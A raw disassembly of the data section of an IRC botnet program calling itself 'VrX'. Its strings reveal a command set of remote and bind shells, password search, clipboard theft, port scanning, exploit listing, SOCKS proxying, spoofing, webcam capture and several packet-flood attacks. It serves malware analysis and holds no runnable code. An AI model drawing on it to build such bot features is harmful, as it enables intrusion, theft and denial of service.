unk_42BEBC	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BED4	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BF10	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF34	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF54	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF6C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF8C	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFB4	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
unk_42BFE0	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFFC	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C014	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42C040	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C064	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42C090	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0BC	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42C0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C11C	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C158	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C194	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1D0	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C20C	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42C240	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
unk_42C260	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C298	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2D4	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C354	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 10h
unk_42C390	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C44C	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4F4	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 4
unk_42C528	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
					; sub_40B477+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C558	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C56C	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C570	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C57C	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 10h
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; .packed:00438780o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C630	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C654	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
					; .packed:0043878Co ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 10h
aS_1:					; DATA XREF: sub_401ACD+1633o
					; .packed:00438798o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; .packed:off_438770o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 4
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C714	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C734	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 4
dword_42C758	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 4
dword_42C7A8	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7F0	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C824	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C834	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C844	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C854	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C864	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C870	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C87C	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C888	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 10h
dword_42C8A0	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8AC	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8C4	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8D4	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 10h
dword_42C8F0	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C900	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C91C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C928	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C93C	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C948	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C954	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C960	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C970	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 10h
dword_42C990	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C99C	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9B0	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9CC	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 4
dword_42C9E8	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 10h
dword_42CA10	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 10h
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 10h
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAB4:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo ...
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAFC	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42CB30	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42CB60	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CB98	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 10h
unk_42CBC0	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CC04	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42CC40	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC58	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC60	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC7C	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC88	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 4
dword_42CCC8	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCD0	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCE4	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CD04	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
					; sub_40F3AA+5C6o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD58	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDC4:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC8:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDCC	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 10h
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
